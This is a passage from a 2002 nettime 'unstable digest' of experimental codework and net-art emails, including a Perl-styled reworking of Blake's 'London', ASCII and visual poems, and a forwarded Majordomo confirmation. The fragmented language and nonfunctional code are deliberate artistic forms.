}\n\n\n\n \n\n\nlocal %InfantsScreamInFear;\n\n#   WoeOfEveryMan is the main method for constructing the\n#   InfantsScreamInFear structure:\n#   If we find that say that the hash %{RentBoy} is defined \n#   with values then we add this to the hash %{InfantsScreamInFear}\n\nsub WoeOfEveryMan {\n    foreach my $Class ( {AT} SocialClasses){\n        warn \"New class = $Class\\n\";\n        $InfantsScreamInFear->{$Class} = %{$Class} if %{$Class};\n    }\n}\n\n#In every cry of every Man, \n#In every Infants cry of fear,\n\n\n#In every voice: in every ban, \n#The mind-forg'd manacles I hear\n#\n#\n\n \n#SE-LONDON9;\n\n\n\n E27|\n\n\n\n\n\n\n\n\n\n\n\n\n\n How the Chimney-sweepers cry\n\n\n\n t100 \n#SE-LONDON10; E27|\n\n\n\n\n\n\n\n\n\n\n\n\n\n Every blackning Church appalls,\n\n\n\n t101 \n#SE-LONDON11; E27|\n\n\n\n\n\n\n\n\n\n\n\n\n\n And the hapless Soldiers sigh \n#SE-LONDON12; E27|\n\n\n\n\n\n\n\n\n\n\n\n\n\n Runs in blood down Palace walls \n#\n#\n\n \n#SE-LONDON13; E27|\n\n\n\n\n\n\n\n\n\n\n\n\n\n But most thro' midnight streets I hear\n\n\n\n t102 \n#SE-LONDON14; E27|\n\n\n\n\n\n\n\n\n\n\n\n\n\n How the youthful Harlots curse \n#SE-LONDON15; E27|\n\n\n\n\n\n\n\n\n\n\n\n\n\n Blasts the new-born Infants tear \n#SE-LONDON16; E27|\n\n\n\n\n\n\n\n\n\n\n\n\n\n And blights with plagues the Marriage hearse \n\n\n\n\n\n#Evaluate CONSTANT_Worry at complile time so we do not have to bother in the\nrest of the script\n$CONSTANT_Worry = eval {sub HouseOwnerOcupier {return qw(DEBT LOANS BILLS\nREPAIRS COUNCILTAX) }};\n$CONSTANT_Worry = eval {sub Parent {return qw(BAD_EDUCATION BAD_HEALTHCARE\nPOLOUTION BAD_TRANSPORT) } * $NUMBER_OF_CHILDREN};\n\n#   This routine is a direct lift from the 1792 version 1.0\n#   so it retains some of the antiquated langudge of the \n#   original algorythum.\n#   The purpose of this Subroutine is to\n#   Traverse the DeadChild structure\n#   whilst $imagination exists. Imagination is depleted\n#   by recusivly calling the PursueWealth function\n#   Once all imagination is exausted the programme\n#   dies calculating the next time it should run.\nsub MindForgedMannacles {\n    # $Mind is the mind of one member of the population of London\n    # Imagination is a field for flexible thinking in the stucture of the mind.\n    # One mind is passed into this fuction at a time\n    my ($ThisMind) =  {AT} _;\n    \n    do {    # keep going untill ${ThisMind}->{Imagination} becomes negative.\n    \n        # For each DeadChildIndex the minds memory\n        # field is depleted by the $CONSTANT_Worry \n        # subroutine unless Imagination is positive.\n        foreach my $DeadChildIndex (%{DeadChild}){\n            $ThisMind->{Memory} .= $CONSTANT_Worry unless\n$ThisMind->{Imagination};\n            #if the minds memory contains debt then \n            # call the subroutine MoreWork \n            if ($ThisMind->{Memory} =~ /DEBT/){ \n                &MoreWork(\\%{$Mind->{Memory}});\n            }else{\n            # if we got this far we have a positive bank balance and some\nimagination\n            # traverse InfantsScremOfFear and extract Pain for each one.\n                PAINFULLMEMORY: foreach $Pain (%{InfantsScremOfFear} ){\n                    # here we use $Pain to recursively call PursueWealth\n                    # untill Imagination turn negative\n                    $ThisMind->{Imagination} = $ThisMind->{Imagination} -\n&PursueWealth();\n                    print $ThisMind->{Imagination}; \n                    if ($ThisMind->{Imagination} < 0 ){ last PAINFULLMEMORY }\n                }\n            }\n        }\n    } while ( $ThisMind->{Imagination} >= 1);\n    \n    die \"IMAGINATION DEPLETED: Re-run date = time + 30 \";\n}\n\n\n\n\n\n#   This routine needs work due to the lack of recorded data: \n#   It is to caculate the \n#   amount of contemporary profit that has acumulated \n#   through the interest based on the number of dead children\n#   directly caused through neglect, desease and sale of slaves\nsub PastProfit {\n    # $NUTRITIONAL_COSTS = minimal care upto the age\n    # of 12\n    $DeadChild = $NUTRITIONAL_COSTS; \n    %{DeadChild} +  %{DeadChildren->{FoundInLondonsParkPonds}}  if\n%{DeadChildren->{FoundInLondonsParkPonds}};\n    %{DeadChild} +  %{DeadChildren->{ChimineySweeps}}           if\n%{DeadChildren->{ChimineySweeps}};\n}\n\n# This subroutine adds to argument to the varible $ThisMindForgets\nsub MoreWork {\n    my $ThisMindForgets =  {AT} _;\n    if($ThisMindForgets =~ 'SPARE TIME' )\n    {\n        $ThisMindForgets =~ s/(.+)(SPARE TIME)(.+)/$1'MORE WORK'$3/\n    }\n    $ThisMindForgets .= qw( Media Clebrity Advertising TechToys RichFood);\n    return; \n}\nlocal  {AT} ProprietryItems = qw(\n        Shelter Food Fun Energy Land Technology Beast Fish Foul Knowledge\n    );\n# standerd library \n# basically own evrything regardless\nsub PursueWealth {\n    my %Mine;\n    my %ALL;\n    foreach my $Item ( {AT} ProprietryItems){\n        $Mine->{$Item} =   \\%{$ALL{$Item}};\n        warn \"\\nMine ALL_$Item = REF::$Mine->{$Item}\"; \n    }\n    return $Mine;\n}\n\n%{MIND} = {# this structure represents the ifinite workings of the brain located\nbetween langudge and sense \n    Imagination => 'This varible represents the ability to transform the self to\na place inwhich it is not physically present'\n\n};\n\n#           Life expectancy =>  \"This is calculated according to the amount of \n\n# These are the children beaten after the homecoming of \n# Soldiers constructing and defending the Empire\n%{ }    = {};\n# Past:\n# The above structures are inherited from the following \n#The spirit of DeadChildren passed by reference from &MoralCodeAbuse\n#Iron works,coal mines, gas works, shipyards, construction, match factories,\nnail factories, chimney sweeping\n%{DeadChildren->{FoundInLondonsParkPonds}}  = {}; \n#The DeadChildren who lost their lives in the big houses: \n# from Hampsted in the North, to Peckam in the South, \n# from Bow in the east to Chertsey in the West.\n%{DeadChildren->{ChimineySweeps}}   = {}; \n\n\nDate:         Mon, 14 Oct 2002 05:13:12 -0700\nFrom: august highland <hmfah {AT} HOTMAIL.COM>\nSubject: o poo\n\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000 0P00000 {AT} 0p000000`0000\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.394 / Virus Database: 224 - Release Date: 10/3/2002\n\n\n\n\nDate: Mon, 14 Oct 2002 22:09:23 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: rock of de-centered gravity\n\n--- i want to\n\ninsert picture here\n\n\n\nn  o f a zoo in a zu i a na zoo i st n zoo if na zu i\nn a zu if n a zoo ia n if ma\n\n\nit would be 7 by 7 meters square\n\n\n\n--- i want o\n\ninsert picture her\n\n\nobs|essiv|eryibse|s|s|i|v|e|r|y|obsessiveryobsessivelyobsessibelyobsessiveryobsessiveryobsessiveryobsess\n\n\nit would be 10 stadiums wide; 15 empires high; 20\ngalaxies long; and 25 times the sum of all souls and\nnirvana\n\n\n--- i want\n\n\ninsert picture he\n\ni.n.i.n.i.n.i.n.i.n.Min.i.n.i.n.i.n.i.n.i.n.i.n.i.n.i.nininininininininMininininininnnininininininininiutininininininioutininininininininiininininini.n.i.n.i.n.i.o.u.....................t.\n\n\nbut i would leave it out\n\n\n--- i wan\n\ninsert pictur\n\n\n\nopposite/of foetisoppoop/po site of /fo /etisoppoop\npo/site of /fo eti sop poopposite of /fo etisoppo\no/pposite of fo etis/oppo\n\n\nbut i can't picture it\n\n\n\n--- i wa\n\n\ninsert pictu\n\n\n\n\"which grieves my heart\"\n\n\nit would be the size of a 8\" apple pie\n\n\n\n--- i w\n\n\n\ninsert ictu\n\n\ndecay: grass under the tree; apples\nthe will of the weight of the pull\nthey lay on the grass; round hard\nthen thin in a glass plate 8\" baked\n\n\n\nit would be the size of gravity's fist\n\n\n\n--- i\n\n\ninsert itc u\n\nictu in situ\nspiritus sans corpus\nbut contained\nby some will to orbit\nex camera\nand exert praecipto\npull\n\n=Gravity enters into the i.e. Apple's weight and\nfoists it's helpless will to pull, with specific\npreferences, as if subjectively, upon the heavier, the\nbetter for to, and  the final thumpness of it all;\nthe denser the object being i.e. Apple, the more it,\nGravity,  mindlessly yet somehow willfully, is\ninclined to bring the thing i.e. Apple down,\nresoundingly. this is the fault of the Apple\ncontinuously for being so very prone to fallable and\nGravity in all cases represents innocence before the\nfall.\n\nEve, since in the vicinity, we could say is the\nfulcrum.\n\nAdam signifies test object a. consisting of no\nmomentum; observer observing the self as the thing\noutside itself.\n\nthe Alledged Snake is primordial at best and was\nalready an allegorical anachronism even in the time of\nEden.\n\nGod is wave-form attribute, with sound auxillary in\nprophetic mode.\n\nthe big No, forbidden, is random and arbitrary, as,\nfor example, no candy before supper.\n\nthe Witch, never mentioned but in interpretation, is\nthe complex structure of deep and alluring myth that\nfor example, Gravity did not exert itself  until\nsometime after Artistotle declared what things were.\n\nah, were this only so.\n\n\n\nbut this would be the whole old roll of 620\nkodakchrome found in the duraflex III from  holiday in\n'53\nedge of the lake the whole world behind his back i won\nthe sand cross-legged eating something sweet from a\ngrey paper bag my hair is black my skin  grey i am\nwearing a woolen bathing suit it too is black,\neverything is clearly defined by the nitrate outline\nbleeding a silver aura of once\n\nnext time\n\n\nin u i at\n\nthe microfische fades like puple blood of a\nmimeo-graphed jimi hendrexian after-bath that smells\nlike freshly baked bread soaked in wine and states:\nthis is to inform you the line to kiss the sky forms\nat the other end and that there will be no picture\ntaking till ten. (fresh pie afterwards)\n\n\n\n\n\n\n\nFrom: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\nSubject: |   || \" || 17-10-2002-18:24 |_| 322342 1\" || yellow|||green|black||||black|||||green||||white 'red ~\" || n |\nDate: Thu, 17 Oct 2002 18:24:43 +0200\n\n|-ckhromachine-|\n|-h---M-M---S-n-C-H---s---| \" |\n|   || \" || 17-10-2002-18:24 |_| 322342 1\" || \nyellow|||green|black||||black|||||green||||white 'red ~\" || n |\n|   ||   ||   ||   ||   ||   ||\n\" .\n\" 'A./ GLIDING SQUARE, a writing system\n\"\n\"\n\" iy\n\"\n\nO_P_E_R_A_T_I_O_N_S\nOPERATIONSOPERATION\nSOPERATIONSOPERATIO\nNSOPERATIONSOPERATI\nONSOPERATIONSOPERAT\nIONSOPERATIONSOPERA\nTIONSOPERATIONSOPER\nATIONSOPERATIONSOPE\nRATIONSOPERATIONSOP\nERATIONSOPERATIONSO\nPERATIONSOPERATIONS\n\n* * * * * *\n* * * * * *\n* * * * * *\n* * * * * *\n*  * * * **\n\nM N O P Q R - ARRAY(0x574a8)}\nA B C D E F - ARRAY(0x6410)}\nG H I J K L - ARRAY(0x57448)}\nY Z a b c d - ARRAY(0xf844)}\ne f g h i j - ARRAY(0xf8a4)}\nS T U V W X - ARRAY(0xf7e4)}\n\n\t\tA DUS\n\t\tADISP\n\t\tA DISPLACEMENT IN SPACE\n\t\t               OF\n          A DISPLACEMENT    SPACE\nadisplacementofspace\nADisplacementOfSpace\n\n'ados\n  retra, en\n  keria\n\nsub r_p_p_l_t_ng_S {\n\tmy  {AT} k_ys = keys %gliding_square;\n\tforeach( {AT} k_ys){\n\t\t#my  {AT} sq_lmts =  {AT} {$gliding_square{$_}};\n\t\tforeach( {AT} {$gliding_square{$_}}){\n\t\t\t$_ = ndrng($_);\n\t\t}\n\n\t}\n}\n\nsub ndrng{\n\tmy $travel = shift;\n  #|----------------------|\n  #|                      |\n  #|                      |\n  #|                      |\n  #|                      |\n  #|                      |\n  #|                      |\n  #|----------------------|\n}\n\n\ndisplaceing\ndispladeing\n\n' creado et arca\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n\n\nFrom: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\nSubject: Fwd: Majordomo results: Re: Confirmation for subscribe roma-pm-l\nDate: Sun, 13 Oct 2002 13:53:13 +0200\n\n\" andiamo\n\nAnfang der weitergeleiteten E-Mail:\n\n>\n> --\n>\n>>>>>          auth f380c618 subscribe roma-pm-list           \n>>>>> johanmeskenscs2 {AT} chromaticspaceandworld.com\n> Succeeded.\n>>>>>\n>>>>>\n>>>>> Am Sonntag den, 13. Oktober 2002, um 13:40, schrieb \n>>>>> Majordomo {AT} pm.org:\n> **** Command 'am' not recognized.\n>>>>>\n>>>>>> --\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>> Someone (possibly you) has requested that your email address be \n>>>>>> added\n> **** Command '>' not recognized.\n>>>>>> to or deleted from the mailing list \"roma-pm-list {AT} pm.org\".\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>> If you really want this action to be taken, please send the \n>>>>>> following\n> **** Command '>' not recognized.\n>>>>>> commands (exactly as shown) back to \"Majordomo {AT} pm.org\":\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>> \tauth f380c618 subscribe roma-pm-list\n> **** Command '>' not recognized.\n>>>>>> johanmeskenscs2 {AT} chromaticspaceandworld.com\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>> If you do not want this action to be taken, simply ignore this \n>>>>>> message\n> **** Command '>' not recognized.\n>>>>>> and the request will be disregarded.\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>> If your mailer will not allow you to send the entire command as a \n>>>>>> single\n> **** Command '>' not recognized.\n>>>>>> line, you may split it using backslashes, like so:\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>>         auth f380c618 subscribe roma-pm-list  >         \n>>>>>> johanmeskenscs2 {AT} chromaticspaceandworld.com\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>> If you have any questions about the policy of the list owner, \n>>>>>> please\n> **** Command '>' not recognized.\n>>>>>> contact \"roma-pm-list-approval {AT} pm.org\".\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>> Thanks!\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>> Majordomo {AT} pm.org\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>>\n> **** Command '>' not recognized.\n>>>>>\n> **** Help\n\n\n\n\n\n\n\nDate: Thu, 17 Oct 2002 08:23:18 +1000\nFrom: \".traumachine.\" <netwurker {AT} hotkey.net.au>\nSubject: //reseArch][able][ )Conscious( Room.\n\n\n\n\n\n\n\n\n//dark registers +Li.quid (+Co[de(L)]inage)Handling\n//moving. .thru. re.[-]p(hile)lete. motions\n//dream stratified Gl.Az(ur)e.s\n\n\n//fixed packet movement d.fined +(Quantum)PhySic.aul(d).led\n//hackles trapped +ShiversBinary\n//trapped. in. limbic. sp(ch)asms.\n\n\n\n\n\n\n\n\n\n\n\n\n\n//p.han(dling)[ecs]tasy flori(an)cult[l]ure\n\n\n\n\n\n\n\n\n\n.           .    ....         .....\npro][tean][.lapsing.txt\n.\n.\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.hotkey.net.au/~netwurker/\nhttp://www.hotkey.net.au/~netwurker/display.myopia.swf\n\n\n\n.... .               .???  .......\n\n\n\n\n\nDate: Tue, 15 Oct 2002 10:47:40 +1000\nFrom: \".traumachine.\" <netwurker {AT} hotkey.net.au>\nSubject: .St Code Gene.Rat(i)o(n).\n\n\n------------=_1034642745-628-45\n\n\n\n\n\n.\nSt Code Gene Erato plays an important role in DataVsComprehensionXtraction.\n.\n.\nWhen an ab.sorba o(r)bits the system, much of the calculate data presented \nOnScreen is c[omprehension]rusted.\n.\n.\nWhen the usAh m.plements the Xtraction specifications, & requests that \ncomprehension b produced, the Erato system re.gurg.E.(dic)tates \ncalculatecalculatecalculatecalculateretro.re.duct.ionisticcalculatecalculatevcalculateabstraction.is.non-viablecalculatesupplied \nby the switching.thru.st.code.modes.+.loop.pre.sepia. ksub.CateGoryFigures \nglimpsed thru porcine\nrhetoric\n\n\n\n\n\n\n\n.           .    ....         .....\npro][tean][.lapsing.txt\n.\n.\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.hotkey.net.au/~netwurker/\nhttp://www.hotkey.net.au/~netwurker/display.myopia.swf\n\n\n\n.... .               .???  .......\n\n\n------------=_1034642745-628-45\nContent-Disposition: inline; filename=\"message.footer\"\n\n\n\n\nDate:         Sat, 12 Oct 2002 00:40:22 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: trilby sorts and folds\n\ntrilby sorts and folds\n\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=0 prevsort=0 sortmode=0 prevsort=0\nsortmode=0 prevsort=0 sortmode=999 prefsort=0 sort=0\n\nfoldFormat=0 foldItems=1667 foldOwn= foldName=6,Bin 1 foldPos=0,0,0,0\nfoldFormat=0 foldItems= foldOwn= foldName=-1 foldPos=0,0,0,0 foldFormat=0\nfoldItems=81683 foldOwn= foldName=6,movie foldPos=0,0,0,0 foldFormat=0\nfoldItems= foldOwn= foldName=-1 foldPos=0,0,0,0 foldFormat=0 foldItems=\nfoldOwn= foldName=-1 foldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn=\nfoldName=-1 foldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0 foldFormat=0 foldItems= foldOwn= foldName=-1\nfoldPos=0,0,0,0\n\n\n===\n\n\n\n\n\n\nnettime unstable digest vol 17\nSun Oct 20 01:02:39 2002\n\n\nSubject: http://www.google.com/jobs/britney.html\n    From: Alexei Shulgin <alexei {AT} easylife.org>\n\nSubject: RE:TRN_(n)_AIM_feed:(a)FREQUENCY\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n\nSubject: _arc.hive_ digest, Vol 1 #473 - 1 msg\n    From: _arc.hive_-request {AT} lm.va.com.au\n\nSubject: Micronta\n    From: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\n\nSubject: hope you want to fuck me like donald duck\n    From: Annie copyright queen <fkbabb {AT} aol.com>\n\nSubject: Re: [Softwareandculture] Freezed-Dried .Trauma      [ResidualDataShearing]\n    From: \"W. Blake\" <W.Blake {AT} scotoma.org>\n\nSubject: o poo\n    From: august highland <hmfah {AT} HOTMAIL.COM>\n\nSubject: rock of de-centered gravity\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n\nSubject: |   || \" || 17-10-2002-18:24 |_| 322342 1\" || yellow|||green|black||||black|||||green||||white 'red ~\" || n |\n    